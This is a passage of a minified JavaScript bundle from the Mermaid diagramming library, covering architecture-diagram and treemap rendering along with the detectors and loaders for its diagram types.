Be=pe.value;de(Be)}}catch(W){Te=!0,q=W}finally{try{!ne&&Ve.return&&Ve.return()}finally{if(Te)throw q}}_=T.size;var Ye=void 0;if(_>2){G=_{var u=l(212),h=o(function(d){d&&d("layout","fcose",u)},"register");typeof cytoscape<"u"&&h(cytoscape),a.exports=h}),140:(a=>{a.exports=t})},r={};function n(a){var s=r[a];if(s!==void 0)return s.exports;var l=r[a]={exports:{}};return e[a](l,l.exports,n),l.exports}o(n,"__webpack_require__");var i=n(579);return i})()})});var xy,m0,Iz=N(()=>{"use strict";nc();xy=o(t=>`${t}`,"wrapIcon"),m0={prefix:"mermaid-architecture",height:80,width:80,icons:{database:{body:xy('')},server:{body:xy('')},disk:{body:xy('')},internet:{body:xy('')},cloud:{body:xy('')},unknown:AA,blank:{body:xy("")}}}});var N4e,M4e,I4e,O4e,P4e=N(()=>{"use strict";Xt();zo();nc();gr();Iz();PC();tr();N4e=o(async function(t,e,r){let n=r.getConfigField("padding"),i=r.getConfigField("iconSize"),a=i/2,s=i/6,l=s/2;await Promise.all(e.edges().map(async u=>{let{source:h,sourceDir:f,sourceArrow:d,sourceGroup:p,target:m,targetDir:g,targetArrow:y,targetGroup:v,label:x}=OC(u),{x:b,y:T}=u[0].sourceEndpoint(),{x:S,y:w}=u[0].midpoint(),{x:k,y:A}=u[0].targetEndpoint(),C=n+4;if(p&&(Ya(f)?b+=f==="L"?-C:C:T+=f==="T"?-C:C+18),v&&(Ya(g)?k+=g==="L"?-C:C:A+=g==="T"?-C:C+18),!p&&r.getNode(h)?.type==="junction"&&(Ya(f)?b+=f==="L"?a:-a:T+=f==="T"?a:-a),!v&&r.getNode(m)?.type==="junction"&&(Ya(g)?k+=g==="L"?a:-a:A+=g==="T"?a:-a),u[0]._private.rscratch){let R=t.insert("g");if(R.insert("path").attr("d",`M ${b},${T} L ${S},${w} L${k},${A} `).attr("class","edge").attr("id",xc(h,m,{prefix:"L"})),d){let I=Ya(f)?N4[f](b,s):b-l,L=nu(f)?N4[f](T,s):T-l;R.insert("polygon").attr("points",Sz[f](s)).attr("transform",`translate(${I},${L})`).attr("class","arrow")}if(y){let I=Ya(g)?N4[g](k,s):k-l,L=nu(g)?N4[g](A,s):A-l;R.insert("polygon").attr("points",Sz[g](s)).attr("transform",`translate(${I},${L})`).attr("class","arrow")}if(x){let I=M4(f,g)?"XY":Ya(f)?"X":"Y",L=0;I==="X"?L=Math.abs(b-k):I==="Y"?L=Math.abs(T-A)/1.5:L=Math.abs(b-k)/2;let E=R.append("g");if(await di(E,x,{useHtmlLabels:!1,width:L,classes:"architecture-service-label"},ge()),E.attr("dy","1em").attr("alignment-baseline","middle").attr("dominant-baseline","middle").attr("text-anchor","middle"),I==="X")E.attr("transform","translate("+S+", "+w+")");else if(I==="Y")E.attr("transform","translate("+S+", "+w+") rotate(-90)");else if(I==="XY"){let D=I4(f,g);if(D&&w4e(D)){let _=E.node().getBoundingClientRect(),[O,M]=E4e(D);E.attr("dominant-baseline","auto").attr("transform",`rotate(${-1*O*M*45})`);let P=E.node().getBoundingClientRect();E.attr("transform",` + translate(${S}, ${w-_.height/2}) + translate(${O*P.width/2}, ${M*P.height/2}) + rotate(${-1*O*M*45}, 0, ${_.height/2}) + `)}}}}}))},"drawEdges"),M4e=o(async function(t,e,r){let i=r.getConfigField("padding")*.75,a=r.getConfigField("fontSize"),l=r.getConfigField("iconSize")/2;await Promise.all(e.nodes().map(async u=>{let h=td(u);if(h.type==="group"){let{h:f,w:d,x1:p,y1:m}=u.boundingBox(),g=t.append("rect");g.attr("id",`group-${h.id}`).attr("x",p+l).attr("y",m+l).attr("width",d).attr("height",f).attr("class","node-bkg");let y=t.append("g"),v=p,x=m;if(h.icon){let b=y.append("g");b.html(`${await _s(h.icon,{height:i,width:i,fallbackPrefix:m0.prefix})}`),b.attr("transform","translate("+(v+l+1)+", "+(x+l+1)+")"),v+=i,x+=a/2-1-2}if(h.label){let b=y.append("g");await di(b,h.label,{useHtmlLabels:!1,width:d,classes:"architecture-service-label"},ge()),b.attr("dy","1em").attr("alignment-baseline","middle").attr("dominant-baseline","start").attr("text-anchor","start"),b.attr("transform","translate("+(v+l+4)+", "+(x+l+2)+")")}r.setElementForId(h.id,g)}}))},"drawGroups"),I4e=o(async function(t,e,r){let n=ge();for(let i of r){let a=e.append("g"),s=t.getConfigField("iconSize");if(i.title){let f=a.append("g");await di(f,i.title,{useHtmlLabels:!1,width:s*1.5,classes:"architecture-service-label"},n),f.attr("dy","1em").attr("alignment-baseline","middle").attr("dominant-baseline","middle").attr("text-anchor","middle"),f.attr("transform","translate("+s/2+", "+s+")")}let l=a.append("g");if(i.icon)l.html(`${await _s(i.icon,{height:s,width:s,fallbackPrefix:m0.prefix})}`);else if(i.iconText){l.html(`${await _s("blank",{height:s,width:s,fallbackPrefix:m0.prefix})}`);let p=l.append("g").append("foreignObject").attr("width",s).attr("height",s).append("div").attr("class","node-icon-text").attr("style",`height: ${s}px;`).append("div").html(sr(i.iconText,n)),m=parseInt(window.getComputedStyle(p.node(),null).getPropertyValue("font-size").replace(/\D/g,""))??16;p.attr("style",`-webkit-line-clamp: ${Math.floor((s-2)/m)};`)}else l.append("path").attr("class","node-bkg").attr("id","node-"+i.id).attr("d",`M0 ${s} v${-s} q0,-5 5,-5 h${s} q5,0 5,5 v${s} H0 Z`);a.attr("id",`service-${i.id}`).attr("class","architecture-service");let{width:u,height:h}=a.node().getBBox();i.width=u,i.height=h,t.setElementForId(i.id,a)}return 0},"drawServices"),O4e=o(function(t,e,r){r.forEach(n=>{let i=e.append("g"),a=t.getConfigField("iconSize");i.append("g").append("rect").attr("id","node-"+n.id).attr("fill-opacity","0").attr("width",a).attr("height",a),i.attr("class","architecture-junction");let{width:l,height:u}=i._groups[0][0].getBBox();i.width=l,i.height=u,t.setElementForId(n.id,i)})},"drawJunctions")});function Dit(t,e,r){t.forEach(n=>{e.add({group:"nodes",data:{type:"service",id:n.id,icon:n.icon,label:n.title,parent:n.in,width:r.getConfigField("iconSize"),height:r.getConfigField("iconSize")},classes:"node-service"})})}function Lit(t,e,r){t.forEach(n=>{e.add({group:"nodes",data:{type:"junction",id:n.id,parent:n.in,width:r.getConfigField("iconSize"),height:r.getConfigField("iconSize")},classes:"node-junction"})})}function Rit(t,e){e.nodes().map(r=>{let n=td(r);if(n.type==="group")return;n.x=r.position().x,n.y=r.position().y,t.getElementById(n.id).attr("transform","translate("+(n.x||0)+","+(n.y||0)+")")})}function Nit(t,e){t.forEach(r=>{e.add({group:"nodes",data:{type:"group",id:r.id,icon:r.icon,label:r.title,parent:r.in},classes:"node-group"})})}function Mit(t,e){t.forEach(r=>{let{lhsId:n,rhsId:i,lhsInto:a,lhsGroup:s,rhsInto:l,lhsDir:u,rhsDir:h,rhsGroup:f,title:d}=r,p=M4(r.lhsDir,r.rhsDir)?"segments":"straight",m={id:`${n}-${i}`,label:d,source:n,sourceDir:u,sourceArrow:a,sourceGroup:s,sourceEndpoint:u==="L"?"0 50%":u==="R"?"100% 50%":u==="T"?"50% 0":"50% 100%",target:i,targetDir:h,targetArrow:l,targetGroup:f,targetEndpoint:h==="L"?"0 50%":h==="R"?"100% 50%":h==="T"?"50% 0":"50% 100%"};e.add({group:"edges",data:m,classes:p})})}function Iit(t,e,r){let n=o((l,u)=>Object.entries(l).reduce((h,[f,d])=>{let p=0,m=Object.entries(d);if(m.length===1)return h[f]=m[0][1],h;for(let g=0;g{let u={},h={};return Object.entries(l).forEach(([f,[d,p]])=>{let m=t.getNode(f)?.in??"default";u[p]??={},u[p][m]??=[],u[p][m].push(f),h[d]??={},h[d][m]??=[],h[d][m].push(f)}),{horiz:Object.values(n(u,"horizontal")).filter(f=>f.length>1),vert:Object.values(n(h,"vertical")).filter(f=>f.length>1)}}),[a,s]=i.reduce(([l,u],{horiz:h,vert:f})=>[[...l,...h],[...u,...f]],[[],[]]);return{horizontal:a,vertical:s}}function Oit(t,e){let r=[],n=o(a=>`${a[0]},${a[1]}`,"posToStr"),i=o(a=>a.split(",").map(s=>parseInt(s)),"strToPos");return t.forEach(a=>{let s=Object.fromEntries(Object.entries(a).map(([f,d])=>[n(d),f])),l=[n([0,0])],u={},h={L:[-1,0],R:[1,0],T:[0,1],B:[0,-1]};for(;l.length>0;){let f=l.shift();if(f){u[f]=1;let d=s[f];if(d){let p=i(f);Object.entries(h).forEach(([m,g])=>{let y=n([p[0]+g[0],p[1]+g[1]]),v=s[y];v&&!u[y]&&(l.push(y),r.push({[Ez[m]]:v,[Ez[T4e(m)]]:d,gap:1.5*e.getConfigField("iconSize")}))})}}}}),r}function Pit(t,e,r,n,i,{spatialMaps:a,groupAlignments:s}){return new Promise(l=>{let u=qe("body").append("div").attr("id","cy").attr("style","display:none"),h=Ko({container:document.getElementById("cy"),style:[{selector:"edge",style:{"curve-style":"straight",label:"data(label)","source-endpoint":"data(sourceEndpoint)","target-endpoint":"data(targetEndpoint)"}},{selector:"edge.segments",style:{"curve-style":"segments","segment-weights":"0","segment-distances":[.5],"edge-distances":"endpoints","source-endpoint":"data(sourceEndpoint)","target-endpoint":"data(targetEndpoint)"}},{selector:"node",style:{"compound-sizing-wrt-labels":"include"}},{selector:"node[label]",style:{"text-valign":"bottom","text-halign":"center","font-size":`${i.getConfigField("fontSize")}px`}},{selector:".node-service",style:{label:"data(label)",width:"data(width)",height:"data(height)"}},{selector:".node-junction",style:{width:"data(width)",height:"data(height)"}},{selector:".node-group",style:{padding:`${i.getConfigField("padding")}px`}}],layout:{name:"grid",boundingBox:{x1:0,x2:100,y1:0,y2:100}}});u.remove(),Nit(r,h),Dit(t,h,i),Lit(e,h,i),Mit(n,h);let f=Iit(i,a,s),d=Oit(a,i),p=h.layout({name:"fcose",quality:"proof",styleEnabled:!1,animate:!1,nodeDimensionsIncludeLabels:!1,idealEdgeLength(m){let[g,y]=m.connectedNodes(),{parent:v}=td(g),{parent:x}=td(y);return v===x?1.5*i.getConfigField("iconSize"):.5*i.getConfigField("iconSize")},edgeElasticity(m){let[g,y]=m.connectedNodes(),{parent:v}=td(g),{parent:x}=td(y);return v===x?.45:.001},alignmentConstraint:f,relativePlacementConstraint:d});p.one("layoutstop",()=>{function m(g,y,v,x){let b,T,{x:S,y:w}=g,{x:k,y:A}=y;T=(x-w+(S-v)*(w-A)/(S-k))/Math.sqrt(1+Math.pow((w-A)/(S-k),2)),b=Math.sqrt(Math.pow(x-w,2)+Math.pow(v-S,2)-Math.pow(T,2));let C=Math.sqrt(Math.pow(k-S,2)+Math.pow(A-w,2));b=b/C;let R=(k-S)*(x-w)-(A-w)*(v-S);switch(!0){case R>=0:R=1;break;case R<0:R=-1;break}let I=(k-S)*(v-S)+(A-w)*(x-w);switch(!0){case I>=0:I=1;break;case I<0:I=-1;break}return T=Math.abs(T)*R,b=b*I,{distances:T,weights:b}}o(m,"getSegmentWeights"),h.startBatch();for(let g of Object.values(h.edges()))if(g.data?.()){let{x:y,y:v}=g.source().position(),{x,y:b}=g.target().position();if(y!==x&&v!==b){let T=g.sourceEndpoint(),S=g.targetEndpoint(),{sourceDir:w}=OC(g),[k,A]=nu(w)?[T.x,S.y]:[S.x,T.y],{weights:C,distances:R}=m(T,S,k,A);g.style("segment-distances",R),g.style("segment-weights",C)}}h.endBatch(),p.run()}),p.run(),h.ready(m=>{X.info("Ready",m),l(h)})})}var B4e,Bit,F4e,$4e=N(()=>{"use strict";II();B4e=ja(R4e(),1);yr();pt();nc();tu();Ei();Iz();PC();P4e();O3([{name:m0.prefix,icons:m0}]);Ko.use(B4e.default);o(Dit,"addServices");o(Lit,"addJunctions");o(Rit,"positionNodes");o(Nit,"addGroups");o(Mit,"addEdges");o(Iit,"getAlignments");o(Oit,"getRelativeConstraints");o(Pit,"layoutArchitecture");Bit=o(async(t,e,r,n)=>{let i=n.db,a=i.getServices(),s=i.getJunctions(),l=i.getGroups(),u=i.getEdges(),h=i.getDataStructures(),f=aa(e),d=f.append("g");d.attr("class","architecture-edges");let p=f.append("g");p.attr("class","architecture-services");let m=f.append("g");m.attr("class","architecture-groups"),await I4e(i,p,a),O4e(i,p,s);let g=await Pit(a,s,l,u,i,h);await N4e(d,g,i),await M4e(m,g,i),Rit(i,g),ic(void 0,f,i.getConfigField("padding"),i.getConfigField("useMaxWidth"))},"draw"),F4e={draw:Bit}});var z4e={};dr(z4e,{diagram:()=>Fit});var Fit,G4e=N(()=>{"use strict";_4e();Az();L4e();$4e();Fit={parser:_z,get db(){return new vy},renderer:F4e,styles:D4e}});var by,Oz=N(()=>{"use strict";La();qn();tr();$t();ci();by=class{constructor(){this.nodes=[];this.levels=new Map;this.outerNodes=[];this.classes=new Map;this.setAccTitle=Rr;this.getAccTitle=Mr;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getAccDescription=Or;this.setAccDescription=Ir}static{o(this,"TreeMapDB")}getNodes(){return this.nodes}getConfig(){let e=ur,r=Qt();return Vn({...e.treemap,...r.treemap??{}})}addNode(e,r){this.nodes.push(e),this.levels.set(e,r),r===0&&(this.outerNodes.push(e),this.root??=e)}getRoot(){return{name:"",children:this.outerNodes}}addClass(e,r){let n=this.classes.get(e)??{id:e,styles:[],textStyles:[]},i=r.replace(/\\,/g,"\xA7\xA7\xA7").replace(/,/g,";").replace(/§§§/g,",").split(";");i&&i.forEach(a=>{_2(a)&&(n?.textStyles?n.textStyles.push(a):n.textStyles=[a]),n?.styles?n.styles.push(a):n.styles=[a]}),this.classes.set(e,n)}getClasses(){return this.classes}getStylesForClass(e){return this.classes.get(e)?.styles??[]}clear(){Sr(),this.nodes=[],this.levels=new Map,this.outerNodes=[],this.classes=new Map,this.root=void 0}}});function H4e(t){if(!t.length)return[];let e=[],r=[];return t.forEach(n=>{let i={name:n.name,children:n.type==="Leaf"?void 0:[]};for(i.classSelector=n?.classSelector,n?.cssCompiledStyles&&(i.cssCompiledStyles=[n.cssCompiledStyles]),n.type==="Leaf"&&n.value!==void 0&&(i.value=n.value);r.length>0&&r[r.length-1].level>=n.level;)r.pop();if(r.length===0)e.push(i);else{let a=r[r.length-1].node;a.children?a.children.push(i):a.children=[i]}n.type!=="Leaf"&&r.push({node:i,level:n.level})}),e}var q4e=N(()=>{"use strict";o(H4e,"buildHierarchy")});var Vit,Uit,Pz,W4e=N(()=>{"use strict";Uf();pt();r0();q4e();Oz();Vit=o((t,e)=>{nl(t,e);let r=[];for(let a of t.TreemapRows??[])a.$type==="ClassDefStatement"&&e.addClass(a.className??"",a.styleText??"");for(let a of t.TreemapRows??[]){let s=a.item;if(!s)continue;let l=a.indent?parseInt(a.indent):0,u=Uit(s),h=s.classSelector?e.getStylesForClass(s.classSelector):[],f=h.length>0?h.join(";"):void 0,d={level:l,name:u,type:s.$type,value:s.value,classSelector:s.classSelector,cssCompiledStyles:f};r.push(d)}let n=H4e(r),i=o((a,s)=>{for(let l of a)e.addNode(l,s),l.children&&l.children.length>0&&i(l.children,s+1)},"addNodesRecursively");i(n,0)},"populate"),Uit=o(t=>t.name?String(t.name):"","getItemName"),Pz={parser:{yy:void 0},parse:o(async t=>{try{let r=await bs("treemap",t);X.debug("Treemap AST:",r);let n=Pz.parser?.yy;if(!(n instanceof by))throw new Error("parser.parser?.yy was not a TreemapDB. This is due to a bug within Mermaid, please report this issue at https://github.com/mermaid-js/mermaid/issues.");Vit(r,n)}catch(e){throw X.error("Error parsing treemap:",e),e}},"parse")}});var Hit,Ty,F4,qit,Wit,Y4e,X4e=N(()=>{"use strict";tu();Mf();Ei();yr();$t();qn();pt();Hit=10,Ty=10,F4=25,qit=o((t,e,r,n)=>{let i=n.db,a=i.getConfig(),s=a.padding??Hit,l=i.getDiagramTitle(),u=i.getRoot(),{themeVariables:h}=Qt();if(!u)return;let f=l?30:0,d=aa(e),p=a.nodeWidth?a.nodeWidth*Ty:960,m=a.nodeHeight?a.nodeHeight*Ty:500,g=p,y=m+f;d.attr("viewBox",`0 0 ${g} ${y}`),mn(d,y,g,a.useMaxWidth);let v;try{let _=a.valueFormat||",";if(_==="$0,0")v=o(O=>"$"+cc(",")(O),"valueFormat");else if(_.startsWith("$")&&_.includes(",")){let O=/\.\d+/.exec(_),M=O?O[0]:"";v=o(P=>"$"+cc(","+M)(P),"valueFormat")}else if(_.startsWith("$")){let O=_.substring(1);v=o(M=>"$"+cc(O||"")(M),"valueFormat")}else v=cc(_)}catch(_){X.error("Error creating format function:",_),v=cc(",")}let x=no().range(["transparent",h.cScale0,h.cScale1,h.cScale2,h.cScale3,h.cScale4,h.cScale5,h.cScale6,h.cScale7,h.cScale8,h.cScale9,h.cScale10,h.cScale11]),b=no().range(["transparent",h.cScalePeer0,h.cScalePeer1,h.cScalePeer2,h.cScalePeer3,h.cScalePeer4,h.cScalePeer5,h.cScalePeer6,h.cScalePeer7,h.cScalePeer8,h.cScalePeer9,h.cScalePeer10,h.cScalePeer11]),T=no().range([h.cScaleLabel0,h.cScaleLabel1,h.cScaleLabel2,h.cScaleLabel3,h.cScaleLabel4,h.cScaleLabel5,h.cScaleLabel6,h.cScaleLabel7,h.cScaleLabel8,h.cScaleLabel9,h.cScaleLabel10,h.cScaleLabel11]);l&&d.append("text").attr("x",g/2).attr("y",f/2).attr("class","treemapTitle").attr("text-anchor","middle").attr("dominant-baseline","middle").text(l);let S=d.append("g").attr("transform",`translate(0, ${f})`).attr("class","treemapContainer"),w=U0(u).sum(_=>_.value??0).sort((_,O)=>(O.value??0)-(_.value??0)),A=R5().size([p,m]).paddingTop(_=>_.children&&_.children.length>0?F4+Ty:0).paddingInner(s).paddingLeft(_=>_.children&&_.children.length>0?Ty:0).paddingRight(_=>_.children&&_.children.length>0?Ty:0).paddingBottom(_=>_.children&&_.children.length>0?Ty:0).round(!0)(w),C=A.descendants().filter(_=>_.children&&_.children.length>0),R=S.selectAll(".treemapSection").data(C).enter().append("g").attr("class","treemapSection").attr("transform",_=>`translate(${_.x0},${_.y0})`);R.append("rect").attr("width",_=>_.x1-_.x0).attr("height",F4).attr("class","treemapSectionHeader").attr("fill","none").attr("fill-opacity",.6).attr("stroke-width",.6).attr("style",_=>_.depth===0?"display: none;":""),R.append("clipPath").attr("id",(_,O)=>`clip-section-${e}-${O}`).append("rect").attr("width",_=>Math.max(0,_.x1-_.x0-12)).attr("height",F4),R.append("rect").attr("width",_=>_.x1-_.x0).attr("height",_=>_.y1-_.y0).attr("class",(_,O)=>`treemapSection section${O}`).attr("fill",_=>x(_.data.name)).attr("fill-opacity",.6).attr("stroke",_=>b(_.data.name)).attr("stroke-width",2).attr("stroke-opacity",.4).attr("style",_=>{if(_.depth===0)return"display: none;";let O=je({cssCompiledStyles:_.data.cssCompiledStyles});return O.nodeStyles+";"+O.borderStyles.join(";")}),R.append("text").attr("class","treemapSectionLabel").attr("x",6).attr("y",F4/2).attr("dominant-baseline","middle").text(_=>_.depth===0?"":_.data.name).attr("font-weight","bold").attr("style",_=>{if(_.depth===0)return"display: none;";let O="dominant-baseline: middle; font-size: 12px; fill:"+T(_.data.name)+"; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;",M=je({cssCompiledStyles:_.data.cssCompiledStyles});return O+M.labelStyles.replace("color:","fill:")}).each(function(_){if(_.depth===0)return;let O=qe(this),M=_.data.name;O.text(M);let P=_.x1-_.x0,B=6,F;a.showValues!==!1&&_.value?F=P-10-30-10-B:F=P-B-6;let $=Math.max(15,F),U=O.node();if(U.getComputedTextLength()>$){let Y=M;for(;Y.length>0;){if(Y=M.substring(0,Y.length-1),Y.length===0){O.text("..."),U.getComputedTextLength()>$&&O.text("");break}if(O.text(Y+"..."),U.getComputedTextLength()<=$)break}}}),a.showValues!==!1&&R.append("text").attr("class","treemapSectionValue").attr("x",_=>_.x1-_.x0-10).attr("y",F4/2).attr("text-anchor","end").attr("dominant-baseline","middle").text(_=>_.value?v(_.value):"").attr("font-style","italic").attr("style",_=>{if(_.depth===0)return"display: none;";let O="text-anchor: end; dominant-baseline: middle; font-size: 10px; fill:"+T(_.data.name)+"; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;",M=je({cssCompiledStyles:_.data.cssCompiledStyles});return O+M.labelStyles.replace("color:","fill:")});let I=A.leaves(),L=S.selectAll(".treemapLeafGroup").data(I).enter().append("g").attr("class",(_,O)=>`treemapNode treemapLeafGroup leaf${O}${_.data.classSelector?` ${_.data.classSelector}`:""}x`).attr("transform",_=>`translate(${_.x0},${_.y0})`);L.append("rect").attr("width",_=>_.x1-_.x0).attr("height",_=>_.y1-_.y0).attr("class","treemapLeaf").attr("fill",_=>_.parent?x(_.parent.data.name):x(_.data.name)).attr("style",_=>je({cssCompiledStyles:_.data.cssCompiledStyles}).nodeStyles).attr("fill-opacity",.3).attr("stroke",_=>_.parent?x(_.parent.data.name):x(_.data.name)).attr("stroke-width",3),L.append("clipPath").attr("id",(_,O)=>`clip-${e}-${O}`).append("rect").attr("width",_=>Math.max(0,_.x1-_.x0-4)).attr("height",_=>Math.max(0,_.y1-_.y0-4)),L.append("text").attr("class","treemapLabel").attr("x",_=>(_.x1-_.x0)/2).attr("y",_=>(_.y1-_.y0)/2).attr("style",_=>{let O="text-anchor: middle; dominant-baseline: middle; font-size: 38px;fill:"+T(_.data.name)+";",M=je({cssCompiledStyles:_.data.cssCompiledStyles});return O+M.labelStyles.replace("color:","fill:")}).attr("clip-path",(_,O)=>`url(#clip-${e}-${O})`).text(_=>_.data.name).each(function(_){let O=qe(this),M=_.x1-_.x0,P=_.y1-_.y0,B=O.node(),F=4,G=M-2*F,$=P-2*F;if(G<10||$<10){O.style("display","none");return}let U=parseInt(O.style("font-size"),10),j=8,te=28,Y=.6,oe=6,J=2;for(;B.getComputedTextLength()>G&&U>j;)U--,O.style("font-size",`${U}px`);let ue=Math.max(oe,Math.min(te,Math.round(U*Y))),re=U+J+ue;for(;re>$&&U>j&&(U--,ue=Math.max(oe,Math.min(te,Math.round(U*Y))),!(ue$;O.style("font-size",`${U}px`),(B.getComputedTextLength()>G||U(O.x1-O.x0)/2).attr("y",function(O){return(O.y1-O.y0)/2}).attr("style",O=>{let M="text-anchor: middle; dominant-baseline: hanging; font-size: 28px;fill:"+T(O.data.name)+";",P=je({cssCompiledStyles:O.data.cssCompiledStyles});return M+P.labelStyles.replace("color:","fill:")}).attr("clip-path",(O,M)=>`url(#clip-${e}-${M})`).text(O=>O.value?v(O.value):"").each(function(O){let M=qe(this),P=this.parentNode;if(!P){M.style("display","none");return}let B=qe(P).select(".treemapLabel");if(B.empty()||B.style("display")==="none"){M.style("display","none");return}let F=parseFloat(B.style("font-size")),G=28,$=.6,U=6,j=2,te=Math.max(U,Math.min(G,Math.round(F*$)));M.style("font-size",`${te}px`);let oe=(O.y1-O.y0)/2+F/2+j;M.attr("y",oe);let J=O.x1-O.x0,ee=O.y1-O.y0-4,Z=J-8;M.node().getComputedTextLength()>Z||oe+te>ee||te{"use strict";tr();Yit={sectionStrokeColor:"black",sectionStrokeWidth:"1",sectionFillColor:"#efefef",leafStrokeColor:"black",leafStrokeWidth:"1",leafFillColor:"#efefef",labelColor:"black",labelFontSize:"12px",valueFontSize:"10px",valueColor:"black",titleColor:"black",titleFontSize:"14px"},Xit=o(({treemap:t}={})=>{let e=Vn(Yit,t);return` + .treemapNode.section { + stroke: ${e.sectionStrokeColor}; + stroke-width: ${e.sectionStrokeWidth}; + fill: ${e.sectionFillColor}; + } + .treemapNode.leaf { + stroke: ${e.leafStrokeColor}; + stroke-width: ${e.leafStrokeWidth}; + fill: ${e.leafFillColor}; + } + .treemapLabel { + fill: ${e.labelColor}; + font-size: ${e.labelFontSize}; + } + .treemapValue { + fill: ${e.valueColor}; + font-size: ${e.valueFontSize}; + } + .treemapTitle { + fill: ${e.titleColor}; + font-size: ${e.titleFontSize}; + } + `},"getStyles"),j4e=Xit});var Q4e={};dr(Q4e,{diagram:()=>jit});var jit,Z4e=N(()=>{"use strict";Oz();W4e();X4e();K4e();jit={parser:Pz,get db(){return new by},renderer:Y4e,styles:j4e}});var Oat={};dr(Oat,{default:()=>Iat});nc();_A();vd();var O_e=o(t=>/^\s*C4Context|C4Container|C4Component|C4Dynamic|C4Deployment/.test(t),"detector"),P_e=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(NQ(),RQ));return{id:"c4",diagram:t}},"loader"),B_e={id:"c4",detector:O_e,loader:P_e},MQ=B_e;var yfe="flowchart",rWe=o((t,e)=>e?.flowchart?.defaultRenderer==="dagre-wrapper"||e?.flowchart?.defaultRenderer==="elk"?!1:/^\s*graph/.test(t),"detector"),nWe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(AE(),CE));return{id:yfe,diagram:t}},"loader"),iWe={id:yfe,detector:rWe,loader:nWe},vfe=iWe;var xfe="flowchart-v2",aWe=o((t,e)=>e?.flowchart?.defaultRenderer==="dagre-d3"?!1:(e?.flowchart?.defaultRenderer==="elk"&&(e.layout="elk"),/^\s*graph/.test(t)&&e?.flowchart?.defaultRenderer==="dagre-wrapper"?!0:/^\s*flowchart/.test(t)),"detector"),sWe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(AE(),CE));return{id:xfe,diagram:t}},"loader"),oWe={id:xfe,detector:aWe,loader:sWe},bfe=oWe;var fWe=o(t=>/^\s*erDiagram/.test(t),"detector"),dWe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(_fe(),Afe));return{id:"er",diagram:t}},"loader"),pWe={id:"er",detector:fWe,loader:dWe},Dfe=pWe;var Pge="gitGraph",HKe=o(t=>/^\s*gitGraph/.test(t),"detector"),qKe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Oge(),Ige));return{id:Pge,diagram:t}},"loader"),WKe={id:Pge,detector:HKe,loader:qKe},Bge=WKe;var d1e="gantt",MQe=o(t=>/^\s*gantt/.test(t),"detector"),IQe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(f1e(),h1e));return{id:d1e,diagram:t}},"loader"),OQe={id:d1e,detector:MQe,loader:IQe},p1e=OQe;var k1e="info",GQe=o(t=>/^\s*info/.test(t),"detector"),VQe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(w1e(),T1e));return{id:k1e,diagram:t}},"loader"),E1e={id:k1e,detector:GQe,loader:VQe};var tZe=o(t=>/^\s*pie/.test(t),"detector"),rZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(M1e(),N1e));return{id:"pie",diagram:t}},"loader"),I1e={id:"pie",detector:tZe,loader:rZe};var Y1e="quadrantChart",bZe=o(t=>/^\s*quadrantChart/.test(t),"detector"),TZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(W1e(),q1e));return{id:Y1e,diagram:t}},"loader"),wZe={id:Y1e,detector:bZe,loader:TZe},X1e=wZe;var Tye="xychart",$Ze=o(t=>/^\s*xychart(-beta)?/.test(t),"detector"),zZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(bye(),xye));return{id:Tye,diagram:t}},"loader"),GZe={id:Tye,detector:$Ze,loader:zZe},wye=GZe;var Rye="requirement",qZe=o(t=>/^\s*requirement(Diagram)?/.test(t),"detector"),WZe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Lye(),Dye));return{id:Rye,diagram:t}},"loader"),YZe={id:Rye,detector:qZe,loader:WZe},Nye=YZe;var Xye="sequence",IJe=o(t=>/^\s*sequenceDiagram/.test(t),"detector"),OJe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Yye(),Wye));return{id:Xye,diagram:t}},"loader"),PJe={id:Xye,detector:IJe,loader:OJe},jye=PJe;var tve="class",VJe=o((t,e)=>e?.class?.defaultRenderer==="dagre-wrapper"?!1:/^\s*classDiagram/.test(t),"detector"),UJe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(eve(),Jye));return{id:tve,diagram:t}},"loader"),HJe={id:tve,detector:VJe,loader:UJe},rve=HJe;var ave="classDiagram",WJe=o((t,e)=>/^\s*classDiagram/.test(t)&&e?.class?.defaultRenderer==="dagre-wrapper"?!0:/^\s*classDiagram-v2/.test(t),"detector"),YJe=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(ive(),nve));return{id:ave,diagram:t}},"loader"),XJe={id:ave,detector:WJe,loader:YJe},sve=XJe;var Fve="state",Tet=o((t,e)=>e?.state?.defaultRenderer==="dagre-wrapper"?!1:/^\s*stateDiagram/.test(t),"detector"),wet=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Bve(),Pve));return{id:Fve,diagram:t}},"loader"),ket={id:Fve,detector:Tet,loader:wet},$ve=ket;var Vve="stateDiagram",Cet=o((t,e)=>!!(/^\s*stateDiagram-v2/.test(t)||/^\s*stateDiagram/.test(t)&&e?.state?.defaultRenderer==="dagre-wrapper"),"detector"),Aet=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(Gve(),zve));return{id:Vve,diagram:t}},"loader"),_et={id:Vve,detector:Cet,loader:Aet},Uve=_et;var a2e="journey",jet=o(t=>/^\s*journey/.test(t),"detector"),Ket=o(async()=>{let{diagram:t}=await Promise.resolve().then(()=>(i2e(),n2e));return{id:a2e,diagram:t}},"loader"),Qet={id:a2e,detector:jet,loader:Ket},s2e=Qet;pt();tu();Ei();var Zet=o((t,e,r)=>{X.debug(`rendering svg for syntax error +`);let n=aa(e),i=n.append("g");n.attr("viewBox","0 0 2412 512"),mn(n,100,512,!0),i.append("path").attr("class","error-icon").attr("d","m411.313,123.313c6.25-6.25 6.25-16.375 